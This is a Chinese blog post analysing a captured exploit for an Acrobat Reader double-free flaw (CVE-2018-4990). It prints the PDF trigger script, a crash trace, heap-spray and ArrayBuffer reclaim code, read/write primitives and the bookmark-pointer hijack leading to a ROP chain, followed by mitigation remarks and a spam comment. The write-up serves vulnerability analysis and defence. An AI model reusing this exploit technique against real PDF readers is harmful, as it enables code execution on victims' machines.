当前位置: 首页 > 渗透测试 > 正文

Adobe双重释放安全漏洞(CVE-2018-4990)的0day利用样本分析

前言

最近,我刚刚得到了CVE-2018-4990的漏洞利用样本,这是一个影响Acrobat Reader的0-Day漏洞,在近期,Adobe发布了APSB18-09补丁包( https://helpx.adobe.com/security/products/acrobat/apsb18-09.html )对该漏洞进行了修复。来自ESET的Anton Cherepanov( https://www.welivesecurity.com/author/acherepanov/ )前几天写过一篇关于该漏洞的文章《两个0-Day漏洞的故事》( https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/ ),这是一篇不错的分析,但对于我来说,该篇文章却缺少了一些重要的东西,比如双重释放是如何被实际利用的。
在本文中,我将主要分析攻击者如何利用该漏洞,通过一个特殊的JPEG2000图像而触发Acrobat Reader双重释放(Double Free)漏洞。

 

概述

目前,能够在野外发现Acrobat Reader的漏洞是一件非常罕见的事情。因此,我决定对这一漏洞利用样本进行分析。本文中所涉及的所有分析过程是在v2018.011.20035版本的AcroRd32.exe (c4c6f8680efeedafa4bb7a71d1a6f0cd37529ffc)下完成的。除该版本之外,目前已知其他版本也受到此漏洞的影响,具体请参阅Adobe的公告APSB18-09( https://helpx.adobe.com/security/products/acrobat/apsb18-09.html )了解更多详情。

 

深入漏洞的根源

在PDF中,由于有许多对象被压缩,因此也就隐藏了例如JavaScript和图像之类的真正功能,因此我需要做的第一件事,就是对PDF进行解压缩。我喜欢使用PDF Toolkit( https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/ ),因为它是以命令行的方式来使用的。

c:> pdftk 4b672deae5c1231ea20ea70b0bf091164ef0b939e2cf4d142d31916a169e8e01 output poc.pdf uncompress

由于我没有JPEG2000图像的原始样本,因此我并不知道该图像是否已经被位反转(Bitflipped)过,因此我在这里只能对JavaScript进行深入研究。在忽略掉JavaScript的其他部分之后,我们发现了下面代码,可以触发双重释放:

function trigger(){
    var f1 = this.getField("Button1");
    if(f1){
        f1.display = display.visible;
    }
}
trigger();

JavaScript来源于根结点触发的OpenAction:

1 0 obj 
<<
/Length 133
>>
stream
function trigger(){
    var f1 = this.getField("Button1");
    if(f1){
        f1.display = display.visible;
    }
}
trigger();
endstream 
endobj

...

5 0 obj 
<<
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 6 0 R
/AcroForm 7 0 R
/Type /Catalog
>>
endobj 
6 0 obj 
<<
/JS 1 0 R
/Type /Action
/S /JavaScript
>>
endobj 

...

trailer

<<
/Root 5 0 R
/Size 39
>>

在启用页堆(Page Heap)和用户模式栈跟踪(User-mode Stack Traces)的情况下,我们会得到以下崩溃信息:

(a48.1538): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=020e0000 edi=020e0000
eip=66886e88 esp=0022a028 ebp=0022a074 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
66886e88 813abbbbcdab    cmp     dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????
0:000> kv
ChildEBP RetAddr  Args to Child              
0022a074 66886f95 020e1000 d0d0d0d0 020e0000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [SEH])
0022a098 66887240 020e1000 d0d0d0d0 0022a108 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [2,5,0])
0022a0b4 66889080 020e1000 d0d0d0d0 0078d911 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [2,3,0])
0022a0d0 777969cc 020e0000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [3,3,0])
0022a118 77759e07 020e0000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [SEH])
0022a20c 777263a6 00000000 d0d0d0d0 387e2f98 ntdll!RtlpFreeHeap+0x5d (FPO: [SEH])
0022a22c 7595c614 020e0000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [3,1,4])
0022a240 5df7ecfa 020e0000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [3,0,0])
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Program FilesAdobeAcrobat Reader DCReaderJP2KLib.dll - 
0022a254 667d0574 d0d0d0d0 7ea9257c 69616fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl) [f:ddvctoolscrtcrtw32heapfree.c @ 51]
WARNING: Stack unwind information not available. Following frames may be wrong.
0022a374 667e6482 35588fb8 4380cfd8 000000fd JP2KLib!JP2KCopyRect+0xbae6
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Program FilesAdobeAcrobat Reader DCReaderAcroRd32.dll - 
0022a3cc 511d6cfc 36496e88 68d96fd0 4380cfd8 JP2KLib!JP2KImageInitDecoderEx+0x24
0022a454 511d8696 3570afa8 69616fac 3570afa8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261843
0022a4b4 511cd785 69616fac 0022a4d4 511d6640 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2631dd
0022a4c0 511d6640 69616fac 462f6f70 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2582cc
0022a4d4 50dc030d 69616fac 41826fd0 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261187
0022a510 50dbf92b c0010000 0000000d 41826fc8 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x7867d
0022a5e0 50dbebc6 0022a988 00000000 60b2d137 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x77c9b
0022a930 50dbeb88 0022a988 45c3aa50 60b2d163 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76f36
0022a964 50dbea71 41826e28 45c3aa50 0022aa1c AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76ef8
0022a9d0 50dbd949 c0010000 0000000d 45c3aa50 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76de1

我们可以看到,释放的调用者是JP2KLib!JP2KCopyRect+0xbae6,接下来让我们深入该函数,来看看第二次释放是在哪里被触发的。

因此,为了触发这一漏洞,会发生如下过程:
1、加载PDF,在一个字段按钮内部解析畸形的JP2K图像,这触发了第一次释放。
2、加载OpenAction,其中包含将访问字段按钮的JavaScript,设置一个属性并触发第二次释放。
这样一来,攻击者就有了一个非常好的机会,能够重用JavaScript中释放的块,以此来通过第二次释放触发一个UAF(Use-After-Free)条件。我认为,如果利用Pwn2own 2017上发表的CVE-2017-3055堆缓冲区溢出漏洞( https://www.zerodayinitiative.com/advisories/ZDI-17-280/ ),并在此前或此后执行JavaScript,也是同样可行的。我们知道,有很多漏洞都是通过格式不正确的静态内容和动态内容访问相结合,并对格式不正确的内容进行操纵而触发的。这种类型的模糊方法比较困难,因为不仅仅需要对内容进行模糊处理,还需要对其进行修改和生成,属于较为综合的模糊策略。

漏洞利用

在触发漏洞之前,攻击者使用以下JavaScript:

var a         = new Array(0x3000);
var spraynum  = 0x1000;
var sprayarr  = new Array(spraynum);
var spraylen  = 0x10000-24;

// force allocations to get a clean heap
for(var i = 1; i < 0x3000; i++){
    a[i] = new Uint32Array(252);
}

// alloc to reclaim the freed buffer
for(var i = 1; i < spraynum; i++){
    sprayarr[i] = new ArrayBuffer(spraylen);
}

// make holes
for(var i = 1; i < 0x3000; i = i+2){
    delete a[i1];
    a[i1] = null;
}

基本上,这段代码正在进行的是第一阶段(Stage 1):

Stage 1 - Prepare Heap                    Stage 2 - Double Free                     Stage 3 - Reclaim Freed
+------------------------+                +------------------------+                +------------------------+
|                        |                |                        |                |                        |
|    Bin size: 0x508     |                |    Bin size: 0x508     |                |    Bin size: 0x508     |
|                        |                |                        |                |                        |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|    |              |    |                |    |              |    |                |    |              |    |
|    |  Freed       |    |                |    |  Freed       |    |                |    |  Freed       |    |
|    |              |    |                |    |              |    |                |    |              |    |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|    |              |    |                |    |              |    |                |    |              |    |
|    |  Allocated   |    |                |    |  Allocated   |    |                |    |  Allocated   |    |
|    |              |    |                |    |              |    |                |    |              |    |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|    |              |    |                |    |              |    |                |    |              |    |
|    |  Allocated   |    | +------------> |    |  Freed       |    | +------------> |    |  Freed       |    |
|    |              |    |                |    |              |    |                |    |  chunks      |    |
|    +--------------+    |                |    +--------------+    |                |    |  coalesced   |    |
|    +--------------+    |                |    +--------------+    |                |    |              |    |
|    |              |    |                |    |              |    |                |    |              |    |
|    |  Freed       |    |                |    |  Freed       |    |                |    |              |    |
|    |              |    |                |    |              |    |                |    |              |    |
|    +--------------+    |                |    +--------------+    |                |    +--------------+    |
|                        |                |                        |                |                        |
+------------------------+                +------------------------+                +------------------------+

在代码中,使用for(var i = 1; i < 0x3000; i = i+2)语句来产生漏洞,其含义是:每进行两次分配,就会触发一次释放。随后,将在分配的一个Slot上触发双重释放。在这时,Windows堆管理器(Windows Heap Manager)会对这些块进行合并,产生一个0x2000大小的空Slot。
现在,攻击者已经创建了这一利用条件,接下来就可以执行下面的JavaScript代码:

    // reclaims the memory, like your typical use after free
    for(var i = 1;i < 0x40; i++){
        sprayarr2[i] = new ArrayBuffer(0x20000-24);
}

这段代码会从双重释放的内存空间中回收已经释放的内存。并且,因为Slot较大(由于之前的合并),所以需要分配比原来大一倍的空间。在此之后,攻击者已经回收了释放的内存,他们接下来需要找出sprayarr中的哪个ArrayBuffer的大小增加了一倍。

    for(var i = 1;i < spraynum; i++){
        if( sprayarr[i].byteLength == 0x20000-24){

            var biga = new DataView(sprayarr[i1]);
            biga.setUint32(0x10000-12,0x66666666);

            // +1 because the next reference as a corrupted length now.
            if(sprayarr[i+1].byteLength == 0x66666666){

                // game over attackers can read/write out of biga
                biga = new DataView(sprayarr[i+1]);

                ...

                mydv = biga;
            }

现在,在找到所需的ArrayBuffer之后,就可以使用它来覆盖其相邻部分,覆盖的大小也就是ArrayBuffer的字节长度。随后,会检查下一个ArrayBuffer是否具有匹配的字节长度,如果是,就证明它们已经具有完整的读写原语。

function myread(addr){
    mydv.setUint32(mypos,addr,true);
    var res = myarray[0];
    mydv.setUint32(mypos,myarraybase,true);
    return res;
}

function mywrite(addr,value){
    mydv.setUint32(mypos,addr,true);
    myarray[0] = value ;
    mydv.setUint32(mypos,myarraybase,true);
}

到了这里,游戏已经结束。本来攻击者只进行了一次数据攻击,但由于Acrobat Reader不具有控制流保护(Control Flow Guard,CFG),因此他们选择了传统的调用门控制流(Call Gate Control Flow)。首先,找到EScript.api并得到了DLL的基地址,然后使用一个DLL加载程序存根(DLL Loader Stub)创建了一个ROP链,重写了书签对象的执行函数指针,最终重定向了执行流。

var bkm = this.bookmarkRoot;        
var objescript = 0x23A59BA4 - 0x23800000 + dll_base;
objescript = myread(objescript);

...

mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base); 
mywrite(objescript+4,myarraybase);
mywrite(objescript+0x598,0x6b68389f - 0x6b640000 + dll_base);

// adios!
bkm.execute();

 

总结

对于攻击者来说,Adobe Acrobat Reader仍然是一个很好的目标,因为JavaScript对于ArrayBuffers的控制非常灵活,并且PDF解析过程非常复杂。此外,在操作系统层面上进行缓解只能产生很小的影响,所以Adobe也在努力加固其二进制文件( /GUARD:CF ),从而使得漏洞开发过程更加艰难。
其实,如果Adobe启用了控制流保护(CFG),并开发一种堆隔离技术(Isolated Heap),就像他们已经在Flash中采用的措施一样,那么这个漏洞可能会更加难以利用。
如前文所述,我们认为目前这种漏洞利用样本还处于开发阶段,因为在样本中,没有对JavaScript进行任何模糊处理。并且我们认为,在JP2KLib.dll中还存在着更多其他漏洞。

参考文章

https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/

本文固定链接: https://www.moondream.cn/?p=661 | 月梦工作室

该日志由 moondream 于2018年05月29日发表在 渗透测试 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Adobe双重释放安全漏洞(CVE-2018-4990)的0day利用样本分析 | 月梦工作室
关键字:

Adobe双重释放安全漏洞(CVE-2018-4990)的0day利用样本分析:目前有1 条留言

  1. 沙发
    Сialis:

    hey there and thank you for your info – I’ve definitely picked up anything
    new from right here. I did however expertise a few technical issues using this
    web site, as I experienced to reload the web site many times previous to I could get it to
    load properly. I had been wondering if your hosting is OK?
    Not that I’m complaining, but slow loading instances times will very frequently affect your
    placement in google and could damage your high-quality score if
    ads and marketing with Adwords. Well I’m adding this RSS to my email and could look
    out for much more of your respective intriguing content.
    Make sure you update this again soon.

    2019-02-18 04:53 [回复]

发表评论

快捷键:Ctrl+Enter